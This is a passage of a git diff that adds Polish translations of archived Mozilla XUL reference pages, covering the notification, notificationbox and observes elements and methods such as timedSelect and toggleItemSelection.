+</dd><dd> Odpowiednik naciśnięcia przycisku Zatrzymaj. Metoda ta zatrzymuje wczytywanie bieżącego dokumentu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/syncsessions/index.html b/files/pl/mozilla/tech/xul/metoda/syncsessions/index.html
new file mode 100644
index 0000000000..cb70ab24a6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/syncsessions/index.html
@@ -0,0 +1,18 @@
+---
+title: syncSessions
+slug: Mozilla/Tech/XUL/Metoda/syncSessions
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/syncSessions
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-syncSessions"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/syncSessions">syncSessions( autoCompleteElement )</a></code></span>
+</dt><dd> Zwraca typ: <i>???</i>
+</dd><dd> Kopiuje sesje z kolejnego elementu autouzupełnienia.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/timedselect/index.html b/files/pl/mozilla/tech/xul/metoda/timedselect/index.html
new file mode 100644
index 0000000000..adab8207ea
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/timedselect/index.html
@@ -0,0 +1,21 @@
+---
+title: timedSelect
+slug: Mozilla/Tech/XUL/Metoda/timedSelect
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/timedSelect
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-timedSelect"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/timedSelect">timedSelect( item, timeout )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza pozycję określoną przez argument po danej liczbie milisekund argumentu czasu przerwy. Wszystkie inne pozycje są odznaczone.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/toggleitemselection/index.html b/files/pl/mozilla/tech/xul/metoda/toggleitemselection/index.html
new file mode 100644
index 0000000000..1adcaef82c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/toggleitemselection/index.html
@@ -0,0 +1,21 @@
+---
+title: toggleItemSelection
+slug: Mozilla/Tech/XUL/Metoda/toggleItemSelection
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/toggleItemSelection
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-toggleItemSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/toggleItemSelection">toggleItemSelection( item )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Jeśli określona pozycja jest zaznaczona, to jest odznaczana. Jeśli nie jest zaznaczona, to jest zaznaczana. Inne pozycje na liście pudełka, które są zaznaczone <b>are not affected, and retain their selected state.</b></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/notification/index.html b/files/pl/mozilla/tech/xul/notification/index.html
new file mode 100644
index 0000000000..0e5a41260d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/notification/index.html
@@ -0,0 +1,117 @@
+---
+title: notification
+slug: Mozilla/Tech/XUL/notification
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/notification
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>&lt;notification&gt; jest stosowane do wyświetlenia wiadomości informacyjnych. Normalnie jest zastosowane jako część &lt;notificationbox&gt;.
+</p>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-control">control</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-priority">priority</a>, <a href="#p-type">type</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-close">close</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady</h3>
+<pre>&lt;notification label="To jest ostrzeżenie"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-priority"></div>
+<div id="p-type">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+
+<p> </p></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl><dt> <span id="m-close"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/close">close</a></code></span>
+</dt><dd> Zwraca typ: brak
+</dd><dd> Zamyka powiadomienie i usuwa je z jego otaczających znaczników <code>&lt;notificationbox&gt;</code>.
+</dd></dl>
+<p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/notificationbox" title="notificationbox">notificationbox</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/notificationbox/index.html b/files/pl/mozilla/tech/xul/notificationbox/index.html
new file mode 100644
index 0000000000..1eab8d5e05
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/notificationbox/index.html
@@ -0,0 +1,150 @@
+---
+title: notificationbox
+slug: Mozilla/Tech/XUL/notificationbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/notificationbox
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+<p>&lt;notificationbox&gt; jest stosowana do powiadomień powyżej elementu. Zazwyczaj element będzie przeglądarką, ale jakikolwiek element może być zastosowany. Element &lt;notification&gt; jest stosowany dla każdego powiadomienia i będzie tworzony automatycznie dla każdego elementu. Każde powiadomienie będzie zsuwać się do i na zewnątrz, jak będzie potrzebne.</p>
+<p>Pudełko jest pudełkiem pionowym, które posiada dzieci. Powiadomienie wyświetla się na górze pudełka. Powiadomienie może być ustawione na dole atrybutu na "reverse".</p>
+<dl>
+ <dt>
+ Własności</dt>
+ <dd>
+ <a href="#p-currentNotification">currentNotification</a>, <a href="#p-allNotifications">allNotifications</a>, <a href="#p-notificationsHidden">notificationsHidden</a></dd>
+</dl>
+<dl>
+ <dt>
+ Metody</dt>
+ <dd>
+ <a href="#m-appendNotification">appendNotification</a>, <a href="#m-agetNotificationWithValue">agetNotificationWithValue</a>, <a href="#m-removeAllNotifications">removeAllNotifications</a>, <a href="#m-removeCurrentNotification">removeCurrentNotification</a>, <a href="#m-removeNotification">removeNotification</a>,</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre>&lt;notificationbox flex="1"&gt;
+ &lt;browser src="http://www.mozilla.org"/&gt;
+&lt;/notificationbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table><p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+<p></p><div id="p-currentNotification">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/currentNotification">currentNotification</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element powiadomienia</i>
+ </dd>
+ <dd>
+ Aktualnie wyświetlany element <a href="pl/XUL/notification">notification</a> lub null. Własność tylko do odczytu.</dd>
+</dl></div> <div id="p-allNotifications"></div> <div id="p-notificationsHidden"></div><p></p>
+<h3 id="Metody" name="Metody">Metody</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table> <dl>
+ <dt>
+ <span id="m-removeCurrentNotification"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeCurrentNotification">removeCurrentNotification</a></code></span></dt>
+ <dd>
+ Zwraca typ: brak</dd>
+ <dd>
+ Usuwa bieżące powiadomienie.</dd>
+</dl> <dl>
+ <dt>
+ <span id="m-removeNotification"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeNotification">removeNotification( item )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Usuwa powiadomienie, wyświetla kolejne, jeśli bieżące zostało usunięte.</dd>
+</dl><p></p>
+<h3 id="Podobne" name="Podobne">Podobne</h3>
+<dl>
+ <dt>
+ Elementy</dt>
+ <dd>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/notification" title="notification">notification</a></code></dd>
+</dl>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/observes/index.html b/files/pl/mozilla/tech/xul/observes/index.html
new file mode 100644
index 0000000000..25f6c9f97c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/observes/index.html
@@ -0,0 +1,120 @@
+---
+title: observes
+slug: Mozilla/Tech/XUL/observes
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/observes
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element <code>observes</code> stosujemy do nasłuchiwania <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code> i otrzymywania z niego zdarzeń i atrybutów. Element <code>observes</code> powinien być umieszczony wewnątrz elementu, którego to <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code> obserwuje. Kiedy obserwowany atrybut jest zmieniony na <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code>ze, wartość atrybutu zostanie przekazana i ustawiona na elemencie-rodzicu obserwatora.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Rozg%c5%82aszacze_oraz_obserwatory">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-attribute">attribute</a>, <a href="#a-element">element</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-attribute">
+
+<dl><dt> <code id="a-attribute"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/attribute">attribute</a></code>
+</dt><dd> Typ: <i>nazwa atrybutu</i>
